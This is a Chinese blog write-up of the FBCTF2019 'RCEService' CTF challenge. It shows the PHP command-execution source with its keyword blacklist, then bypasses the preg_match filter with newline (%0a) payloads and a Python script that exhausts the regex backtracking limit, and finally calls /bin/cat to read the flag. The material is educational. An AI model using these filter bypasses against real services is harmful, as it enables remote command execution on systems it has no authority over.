[FBCTF2019]RCEService

作者: const27 分类: All,PHP自身缺陷或特性 发布时间: 2020-06-12 07:04

知识点: linux的path环境变量,php的preg_match绕过

进来是这样,一个命令执行接口,进行尝试后发现以{“cmd”:”code”}的形式传入会执行命令并返回结果这道题的原题是有源码的

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

发现过滤了很多东西,且环境变量path被更改了,意味着我们要用命令时只能通过调用它的绝对路径来使用.

绕过preg_match


看这个preg_match,我们的绕过目的是让他返回flase.
关于preg_match我们的绕过方法有三个:数组,回溯,换行
参考链接: http://www.const27.com/2020/06/12/preg_match%e7%bb%95%e8%bf%87%e5%9b%9e%e6%ba%af%e6%8d%a2%e8%a1%8c%e4%b8%8e%e6%95%b0%e7%bb%84/
数组肯定是不行的,这里必须要传入json数据才能解析命令
那么只有靠换行和回溯了
换行
查看过滤规则

/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/

这里可以构造换行符绕过 . 匹配,但这里有个坑就是匹配式括号里里会匹配\x0a即%0a字符,所以我们来想想如何绕过
假设我们的命令是 {“cmd”:”ls /”}
那么我们先在开头加一个%0a绕过^.*让它的匹配结果为空,即payload为%0a{“cmd”:”ls /”} 但这样还不能成功绕过,因为括号里的东西匹配到了%0a,.*$匹配了 {“cmd”:”ls /”} , 依然返回了匹配结果
那么我们继续绕过.*$的.匹配,我们这么构造 %0a{“cmd”:”ls /”%0a},这样 括号里的东西匹配到了%0a ,第二个.*匹配到了%0a}前就停止匹配了,但此时结尾还有一个}未被匹配,成功让preg_match返回false.
此时可能有人会问,为什么 %0a{“cmd”:”ls /”} %0a不行,这个可以在上面那个参考链接里得到答案,preg_match未开启/s匹配时,$会自动无视末尾的%0a,意思就是说即使末尾有%0a,$也认为已经到字符串结尾了.

回溯
这个换行规则的开头的^.*就暗示了会被回溯绕过.我他妈直接requests发包

import requests

url="http://0e9a0cd8-2cb7-456b-ac95-a3bed3465161.node3.buuoj.cn/"
data='{"cmd":"ls /","zz":"' + "a"*(1000000) + '"}'
a=requests.post(url=url,data={'cmd':data})
print(a.text)

完事,成功绕过

环境变量path被更改

查看源码发现path被改了,我们访问被更改的path目录,发现只有ls指令了

不过问题不大.flag就在/home/rceservice目录下,我们通过/bin/cat直接调用就完事了

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

Leave a Reply

Your email address will not be published. Required fields are marked *

标签云